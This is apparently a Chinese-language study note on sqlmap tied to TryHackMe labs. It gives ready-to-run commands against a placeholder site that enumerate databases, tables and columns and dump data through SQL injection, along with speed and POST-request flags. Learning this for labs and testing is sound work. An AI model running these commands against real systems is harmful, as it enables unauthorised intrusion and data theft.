Intro

迅速了解強大的SQLi工具: sqlmap。本文會介紹它的基礎用法和適用場景,有興趣的可再詳細研究,因為 sqlmap 的功能面廣,可能沒辦法在這一篇文章中涵蓋全部,因此今天只介紹它的常用指令

常用指令(GET)

# 枚舉所有database
sqlmap -u 'http://test.com/search/?query=cat' --dbs
# 枚舉database=blog下所有的tables
sqlmap -u 'http://test.com/search/?query=cat' -D blog --tables
# 枚舉database=blog,table=articles下所有的columns
sqlmap -u 'http://test.com/search/?query=cat' -D blog -T articles --columns
# 找出在databa=blog,table=articles,column(title)='life'對應的column(author)值
# 也就等同於 use blog; select author from articles where title='life';
sqlmap -u 'http://test.com/search/?query=cat' -D blog -T articles -C author --dump --where="title='life'"

常用加快進程參數

因為 sqlmap 在初步偵測(database/table/column)的時候採用枚舉,速度會非常慢,因此大多都搭配參數提高效率:

  • --batch: 跳過執行過程中需要手動回答的選項,全部採用默認
  • --threads=5: 多線程
  • --retries=1: 每次失敗再執行幾次
  • --level=1: 測試範圍(1~5)
  • --timeout=10: 每次請求等待多久
  • --technique=U: 限定使用什麼方法(default:”BEUSTQ”)
    • B: boolean-based
    • E: error-based
    • U: union-based
    • S: stacked-queries
    • T: time-based
    • Q: inline-queries

其他參數

  • -hh: 全部的Help菜單
  • -r: 用於POST請求的sqlmap,用法為: -r post_requests.txt 這個文件儲存POST請求格式,最簡單的方法可使用Burp-suite攔截並儲存(Copy to file)
  • -p: 要注入的參數,通常搭配POST請求使用
  • --data: 要加到POST請求的data: --data="id=1"
  • --dump-all: dump出所有database下的所有資料
  • --current-user: 枚舉出當前DBMS用戶

自我總結

學習資料

  1. TryHackMe - SQLMap: The Basics
  2. TryHackMe - SQLMAP
  3. TryHackMe - GameZone